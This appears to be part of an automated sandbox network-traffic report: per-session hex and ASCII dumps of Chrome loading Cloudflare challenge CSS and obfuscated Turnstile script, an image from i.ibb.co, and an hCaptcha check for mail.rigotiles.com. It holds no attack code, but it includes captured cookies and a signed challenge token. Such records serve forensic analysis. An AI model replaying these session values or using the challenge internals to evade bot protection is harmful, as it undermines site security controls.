2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 Data Ascii: ffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 Data Ascii: flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{he
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 Data Ascii: .rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justi
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c Data Ascii: text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49727	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 20:54:52 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=157850 Date: Thu, 31 Oct 2024 20:54:52 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49730	169.197.85.95	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	352	OUT	GET /SJ5tdZc/download.png HTTP/1.1 Host: i.ibb.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:52 UTC	377	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 20:54:52 GMT Content-Type: image/png Content-Length: 324 Connection: close Last-Modified: Mon, 28 Oct 2024 08:06:07 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-10-31 20:54:52 UTC	324	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 5c 08 03 00 00 00 d4 31 22 6a 00 00 00 60 50 4c 54 45 ff ff ff f3 53 25 05 a6 f0 81 bc 06 ff ba 08 fe ed ea ff fd fc eb f4 dd ea f4 fd ff fe fb fe f8 f7 fa fc f6 f6 fb fe ff fc f6 fb fe ff f3 58 2e 00 9f ef f3 50 20 f2 3f 00 98 c7 52 85 be 1c ff bc 1d 34 af f2 ff c6 52 f4 68 45 ff f3 dd 79 b9 00 f5 6e 4c f3 47 07 9d c9 5a 3f b3 f2 00 a3 f0 c9 4e 67 46 00 00 00 9f 49 44 41 54 68 81 ed d9 db 0a 82 40 14 85 e1 b1 b1 ec 60 1e d2 4e 56 fa fe 6f a9 9b 68 84 20 58 06 5e 14 ff 7f bd f8 d8 b7 c3 38 47 9f 5a 89 d9 76 23 16 f0 4b 29 75 58 0e db ca 4b 35 c9 88 47 4a e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 d3 71 a5 2f f1 5b 94 2b dd 0d 7f f8 5a c9 07 7c 2b 66 db 9d 98 fb fd 52 31 db ee c5 02 de 2e a4 Data Ascii: PNGIHDR\\1"j`PLTES%X.P ?R4RhEynLGZ?NgFIDATh@`NVoh X^8GZv#K)uXK5GJq/[+Z\|+fR1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49731	104.19.230.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	729	OUT	POST /checksiteconfig?v=05c78a4&host=mail.rigotiles.com&sitekey=234adb2f-52ba-4697-82fa-abecbb14b173&sc=1&swa=1&spst=1 HTTP/1.1 Host: api2.hcaptcha.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json Content-Type: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://newassets.hcaptcha.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://newassets.hcaptcha.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:53 UTC	762	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:52 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close access-control-allow-credentials: true access-control-allow-headers: Cache-Control, Content-Type, DNT, Referer, User-Agent access-control-allow-methods: GET, HEAD, POST, OPTIONS access-control-allow-origin: https://newassets.hcaptcha.com vary: Origin, Accept-Encoding CF-Cache-Status: DYNAMIC Set-Cookie: __cflb=0H28vk2VKwPbLoawFj9ote4RZxB9Q78v8RVsZqVRRd7; SameSite=None; Secure; path=/; expires=Thu, 31-Oct-24 21:24:52 GMT; HttpOnly Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8db68af45f380c34-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:53 UTC	607	IN	Data Raw: 33 30 38 0d 0a 7b 22 66 65 61 74 75 72 65 73 22 3a 7b 22 65 6e 63 5f 67 65 74 5f 72 65 71 22 3a 74 72 75 65 7d 2c 22 63 22 3a 7b 22 74 79 70 65 22 3a 22 68 73 77 22 2c 22 72 65 71 22 3a 22 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 6d 49 6a 6f 77 4c 43 4a 7a 49 6a 6f 79 4c 43 4a 30 49 6a 6f 69 64 79 49 73 49 6d 51 69 4f 69 4a 79 56 45 56 46 59 32 68 6c 53 45 63 78 53 6d 52 32 62 6b 6c 71 57 6e 64 4a 64 45 30 34 55 45 52 45 52 7a 45 33 61 57 31 36 54 58 6c 74 4e 45 34 72 57 45 4a 78 55 6d 68 56 55 30 68 75 59 30 56 34 4b 30 39 69 64 6a 4e 53 4c 32 78 32 62 54 4e 43 57 6c 64 76 65 6d 4a 33 52 48 64 59 53 6a 42 6e 64 46 45 32 63 48 6c 42 4c 32 4a 79 54 44 64 33 55 6e 70 76 63 45 46 Data Ascii: 308{"features":{"enc_get_req":true},"c":{"type":"hsw","req":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmIjowLCJzIjoyLCJ0IjoidyIsImQiOiJyVEVFY2hlSEcxSmR2bklqWndJdE04UERERzE3aW16TXltNE4rWEJxUmhVU0huY0V4K09idjNSL2x2bTNCWldvemJ3RHdYSjBndFE2cHlBL2JyTDd3UnpvcEF
2024-10-31 20:54:53 UTC	176	IN	Data Raw: 6f 59 54 49 31 4e 69 30 79 56 45 52 5a 59 32 51 77 4c 31 46 43 64 45 4e 53 61 6e 4a 78 56 31 68 46 56 58 4a 4f 54 45 4e 6e 57 56 46 45 56 6c 67 79 4e 6b 70 4e 63 30 49 72 54 55 70 58 62 47 39 72 50 53 49 73 49 6d 55 69 4f 6a 45 33 4d 7a 41 30 4d 44 67 30 4e 54 4d 73 49 6d 34 69 4f 69 4a 6f 63 33 63 69 4c 43 4a 6a 49 6a 6f 78 4d 44 41 77 66 51 2e 33 50 37 73 79 54 44 4d 44 57 62 68 52 59 58 4c 53 50 63 74 7a 53 54 7a 78 61 49 47 42 39 57 62 78 47 78 4a 4a 42 71 55 30 4d 45 22 7d 2c 22 70 61 73 73 22 3a 74 72 75 65 7d 0d 0a Data Ascii: oYTI1Ni0yVERZY2QwL1FCdENSanJxV1hFVXJOTENnWVFEVlgyNkpNc0IrTUpXbG9rPSIsImUiOjE3MzA0MDg0NTMsIm4iOiJoc3ciLCJjIjoxMDAwfQ.3P7syTDMDWbhRYXLSPctzSTzxaIGB9WbxGxJJBqU0ME"},"pass":true}
2024-10-31 20:54:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49732	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8db68aefa9dee71a&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:52 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:52 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118326 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8db68af47ed26c69-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:52 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 48 50 55 62 6a 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.HPUbj2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 3a 22 52 65 66 72 65 73 68 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 Data Ascii: :"Refresh","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflar
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 30 31 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 38 31 34 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 31 38 30 29 29 2f 38 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 39 32 36 39 35 30 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 31 32 30 33 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 67 4d 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 4d 3d 67 4c 2c 64 3d 7b 27 6a 42 42 52 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 70 58 41 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 Data Ascii: 01))/6+-parseInt(gK(814))/7+parseInt(gK(1180))/8,f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,926950),eM=this\|\|self,eN=eM[gL(1203)],eO=function(gM,d,e,f,g){return gM=gL,d={'jBBRZ':function(h,i){return h(i)},'xpXAl':function(h,i){retur
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 75 72 6e 20 68 2a 69 7d 2c 27 49 79 53 4f 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 61 4f 6b 47 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 4a 73 62 76 76 27 3a 67 4d 28 33 37 34 29 2c 27 41 4b 52 44 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 49 43 4f 53 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4d 4f 48 58 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 66 4a 47 75 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 54 77 79 6f 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b Data Ascii: urn h*i},'IySOo':function(h,i){return h(i)},'aOkGJ':function(h,i){return h!=i},'Jsbvv':gM(374),'AKRDO':function(h,i){return h==i},'ICOSW':function(h,i){return h(i)},'MOHXi':function(h,i){return h<i},'fJGuM':function(h,i){return h<i},'Twyoh':function(h,i){
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 67 4f 28 38 33 32 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 64 5b 67 4f 28 36 34 31 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 67 4f 28 33 32 38 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4f 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 4f 28 31 34 30 38 29 5d 28 48 3c 3c 31 2e 34 33 2c 31 26 4f 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 4f 28 35 37 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 64 5b 67 4f 28 38 30 35 29 5d 28 30 2c 44 29 26 26 28 44 3d 4d 61 74 68 5b 67 4f 28 33 32 38 29 5d 28 32 2c 46 29 2c 46 2b 2b Data Ascii: gO(832)](o,H)),H=0):I++,O>>=1,s++);}D--,d[gO(641)](0,D)&&(D=Math[gO(328)](2,F),F++),delete B[C]}else for(O=x[C],s=0;s<F;H=d[gO(1408)](H<<1.43,1&O),I==j-1?(I=0,G[gO(577)](o(H)),H=0):I++,O>>=1,s++);continue;case'4':d[gO(805)](0,D)&&(D=Math[gO(328)](2,F),F++
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 28 68 5b 67 50 28 32 38 35 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 51 29 7b 72 65 74 75 72 6e 20 67 51 3d 67 50 2c 68 5b 67 51 28 31 35 38 30 29 5d 28 69 29 7d 29 3a 6e 65 77 20 64 28 29 5b 67 50 28 33 35 31 29 5d 28 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 52 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 50 2c 4d 2c 4e 2c 4f 29 7b 69 66 28 67 52 3d 67 4d 2c 73 3d 7b 27 41 52 6a 46 67 27 3a 66 75 6e 63 74 69 6f 6e 28 51 29 7b 72 65 74 75 72 6e 20 51 28 29 7d 2c 27 59 4a 78 43 55 27 3a 67 52 28 36 35 35 29 7d 2c 64 5b 67 52 28 34 35 35 29 5d 28 64 5b 67 52 28 33 34 35 29 5d 2c 64 5b 67 52 28 31 31 36 31 29 5d 29 29 72 65 74 75 72 6e 20 73 5b 67 52 28 31 31 39 33 29 5d 28 Data Ascii: (h[gP(285)],32768,function(i,gQ){return gQ=gP,h[gQ(1580)](i)}):new d()[gP(351)]()},'i':function(i,j,o,gR,s,x,B,C,D,E,F,G,H,I,J,K,L,P,M,N,O){if(gR=gM,s={'ARjFg':function(Q){return Q()},'YJxCU':gR(655)},d[gR(455)](d[gR(345)],d[gR(1161)]))return s[gR(1193)](
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 31 36 38 38 29 5d 28 30 2c 49 29 26 26 28 49 3d 6a 2c 48 3d 64 5b 67 52 28 31 31 35 33 29 5d 28 6f 2c 4a 2b 2b 29 29 2c 4b 7c 3d 28 64 5b 67 52 28 36 30 35 29 5d 28 30 2c 4f 29 3f 31 3a 30 29 2a 47 2c 47 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 50 3d 4b 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 67 52 28 33 32 38 29 5d 28 32 2c 38 29 2c 47 3d 31 3b 64 5b 67 52 28 31 33 30 30 29 5d 28 47 2c 4c 29 3b 4f 3d 49 26 48 2c 49 3e 3e 3d 31 2c 30 3d 3d 49 26 26 28 49 3d 6a 2c 48 3d 6f 28 4a 2b 2b 29 29 2c 4b 7c 3d 64 5b 67 52 28 35 39 31 29 5d 28 64 5b 67 52 28 39 36 38 29 5d 28 30 2c 4f 29 3f 31 3a 30 2c 47 29 2c 47 3c 3c 3d 31 29 3b 78 5b 43 2b 2b 5d 3d 65 28 4b 29 2c 50 3d 64 5b 67 52 28 35 31 35 29 5d 28 43 2c 31 29 2c 42 2d 2d 3b 62 Data Ascii: 1688)](0,I)&&(I=j,H=d[gR(1153)](o,J++)),K\|=(d[gR(605)](0,O)?1:0)*G,G<<=1);switch(P=K){case 0:for(K=0,L=Math[gR(328)](2,8),G=1;d[gR(1300)](G,L);O=I&H,I>>=1,0==I&&(I=j,H=o(J++)),K\|=d[gR(591)](d[gR(968)](0,O)?1:0,G),G<<=1);x[C++]=e(K),P=d[gR(515)](C,1),B--;b
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 68 39 28 31 33 38 39 29 5d 5d 5b 68 39 28 31 32 30 36 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 39 28 33 36 35 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 39 28 34 33 38 29 5d 5b 68 39 28 34 36 39 29 5d 2c 27 65 76 65 6e 74 27 3a 68 39 28 31 33 39 31 29 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 39 28 34 33 38 29 5d 5b 68 39 28 31 34 34 36 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 39 28 34 33 38 29 5d 5b 68 39 28 37 30 34 29 5d 2c 27 63 6f 64 65 27 3a 68 39 28 36 34 36 29 2c 27 72 63 56 27 3a 65 4d 5b 68 39 28 34 33 38 29 5d 5b 68 39 28 31 30 36 30 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4c 28 33 32 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 61 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c Data Ascii: h9(1389)]][h9(1206)]({'source':h9(365),'widgetId':eM[h9(438)][h9(469)],'event':h9(1391),'cfChlOut':eM[h9(438)][h9(1446)],'cfChlOutS':eM[h9(438)][h9(704)],'code':h9(646),'rcV':eM[h9(438)][h9(1060)]},'*'))},g)},eM[gL(322)]=function(g,h,i,ha,j,k,l,m,n,o,s,x,
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 36 36 29 5d 3d 65 4d 5b 68 61 28 34 33 38 29 5d 5b 68 61 28 37 36 36 29 5d 2c 73 5b 68 61 28 31 30 34 31 29 5d 3d 65 4d 5b 68 61 28 34 33 38 29 5d 5b 68 61 28 31 32 36 34 29 5d 2c 78 3d 73 2c 42 3d 6e 65 77 20 65 4d 5b 28 68 61 28 31 31 36 36 29 29 5d 28 29 2c 21 42 29 72 65 74 75 72 6e 3b 43 3d 68 61 28 39 33 32 29 2c 42 5b 68 61 28 32 33 37 29 5d 28 43 2c 6f 2c 21 21 5b 5d 29 2c 42 5b 68 61 28 33 38 30 29 5d 3d 32 35 30 30 2c 42 5b 68 61 28 39 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 42 5b 68 61 28 36 32 35 29 5d 28 68 61 28 31 36 38 30 29 2c 68 61 28 34 37 32 29 29 2c 44 3d 7b 7d 2c 44 5b 68 61 28 31 34 36 32 29 5d 3d 67 2c 44 5b 68 61 28 33 30 32 29 5d 3d 6c 2c 44 2e 63 63 3d 68 2c 44 5b 68 61 28 39 35 39 29 5d 3d 6d 2c 44 5b 68 61 28 31 Data Ascii: 66)]=eM[ha(438)][ha(766)],s[ha(1041)]=eM[ha(438)][ha(1264)],x=s,B=new 